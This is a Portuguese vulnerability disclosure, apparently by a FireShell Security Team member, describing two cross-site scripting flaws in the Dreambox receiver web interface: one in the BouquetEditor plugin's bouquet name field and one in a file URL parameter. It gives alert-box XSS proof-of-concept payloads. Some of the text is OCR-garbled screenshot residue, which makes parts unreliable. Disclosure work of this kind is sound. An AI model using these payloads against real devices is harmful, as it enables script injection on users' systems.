Thiago "THX" Sena - FireShell Security Team

Mail:thiagosenaribeiro@outlook.com

Sobre o Software:

O Dreambox é um produto da Dream-Multimedia-TV (DMM), que é desenvolvido por receptores
baseados em Linux sob o nome Dreambox.

A vulnerabilidade:

O XSS esta presente em duas areas,sendo que na 1 drea a vulnerabilidade se encontra em um
WebPlugin chamado "BouquetEditor":

Url: http://IP:PORT/bouqueteditor/
Passos:

1- Na aba Bouquets, ira adicionar uma nova bouquet
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— Radio Backup Settings || Restore Settings Nenhum arquivo selecionado.

satellites  ([iProwiderill) Al Services Bouquets

SKY
Unitymedia
Unknown
ZDFvision

Add to bouquetlist Up Down New Remove
All Services of "ARD" Rename Lock

2- Assim, irar colocar o script (<script>alert('XSS')</script>)

Name des Bouquets:

| <script=alert(XSS'")</script>

3- Vulnerability XSS


http://IP:PORT/bouqueteditor/

A segunda falha consistem em colocar essa variavel depois da url (http://IP:PORT)

Variavel :/file?file=%3CBODY%200NLOAD=alert(%27X55%27)%3E

9/file?file=<BODY ONLOAD=alert("XSS")> X

Q Pesquisar


http://IP:PORT

